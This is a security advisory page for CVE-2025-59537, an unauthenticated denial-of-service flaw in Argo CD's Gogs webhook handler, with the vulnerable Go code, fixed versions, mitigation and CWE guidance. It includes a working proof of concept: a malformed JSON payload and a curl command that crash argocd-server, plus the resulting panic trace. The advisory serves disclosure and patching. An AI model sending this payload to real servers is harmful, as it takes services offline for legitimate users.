Skip to content

GHSA-wp4p-9pxh-cgx2 BIT-argo-cd-2025-59537 CVE-2025-59537 GO-2025-3996

argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.60%
Chance of exploitation in the next 30 days. Higher than 48.88% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
CWE-476 NULL Pointer Dereference
Fix
Available
2 packages have a fixed version

Description

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.

Details

Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.

The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.

func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
    switch payload := payloadIf.(type) {
        // ...
        case gogsclient.PushPayload:
            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
            // ...
        }
    return webURLs, revision, change, touchedHead, changedFiles
}

PoC

payload-gogs.json

{
  "ref": "refs/heads/master",
  "before": "0000000000000000000000000000000000000000",
  "after": "0a05129851238652bf806a400af89fa974ade739",
  "commits": [{}]
}
curl -k -v https://argocd.example.com/api/webhook \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/payload-gogs.json

An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]

goroutine 302 [running]:
github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60
created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28

Mitigation

If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.gogs.secret: <your base64-encoded secret here>

For more information

Credit

Sangjun Song (s0ngsari) at Theori (theori.io)

Affected versions

Go

PackageVulnerableFixed in
github.com/argoproj/argo-cd
>= 1.2.0, <= 1.8.7
No fix yet
github.com/argoproj/argo-cd
>= 1.2.0
No fix yet
github.com/argoproj/argo-cd/v2
>= 2.0.0-rc1, < 2.14.20
2.14.20
github.com/argoproj/argo-cd/v2
< 2.14.20
2.14.20
github.com/argoproj/argo-cd/v3
>= 3.2.0-rc1, < 3.2.0-rc2
3.2.0-rc2
github.com/argoproj/argo-cd/v3
>= 3.1.0-rc1, < 3.1.8
3.1.8
github.com/argoproj/argo-cd/v3
>= 3.0.0-rc1, < 3.0.19
3.0.19
github.com/argoproj/argo-cd/v3
>= 3.0.0-rc1, < 3.0.19
>= 3.1.0-rc1, < 3.1.8
>= 3.2.0-rc1, < 3.2.0-rc2
3.0.19
3.1.8
3.2.0-rc2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/argoproj/argo-cd/v2 Go → 2.14.20

go
go get github.com/argoproj/argo-cd/v2@v2.14.20 && go mod tidy

github.com/argoproj/argo-cd/v3 Go → 3.2.0-rc2

go
go get github.com/argoproj/argo-cd/v3@v3.2.0-rc2 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-476: NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL.

How to prevent it
  • Implementation: For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished [REF-1484].
  • Requirements: Select a programming language that is not susceptible to these issues.
  • Implementation: Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
  • Architecture and Design: Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.
  • Implementation: Explicitly initialize all variables and other data stores, either during declaration or just before the first usage.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fmxq-cgp8-87wp
Argo CD: AppProject destination-namespace and resource restrictions bypassed by PreDelete/PostDelete resource hooks
Critical Also affects github.com/argoproj/argo-cd
GHSA-j6cw-g6p4-7hch
Argo CD repo-server command injection via crafted SSH repository SOCKS5 proxy URL
High Also affects github.com/argoproj/argo-cd
GHSA-h98r-wv3h-fr38
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation
High Also affects github.com/argoproj/argo-cd
GO-2026-5618
Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations
Medium Also affects github.com/argoproj/argo-cd
GO-2026-5099
ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction
Critical Also affects github.com/argoproj/argo-cd
GHSA-gpx4-37g2-c8pv
Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook
High Also affects github.com/argoproj/argo-cd
GHSA-f9gq-prrc-hrhc
Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload
High Also affects github.com/argoproj/argo-cd
GHSA-g88p-r42r-ppp9
Repository Credentials Race Condition Crashes Argo CD Server
Medium Also affects github.com/argoproj/argo-cd
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor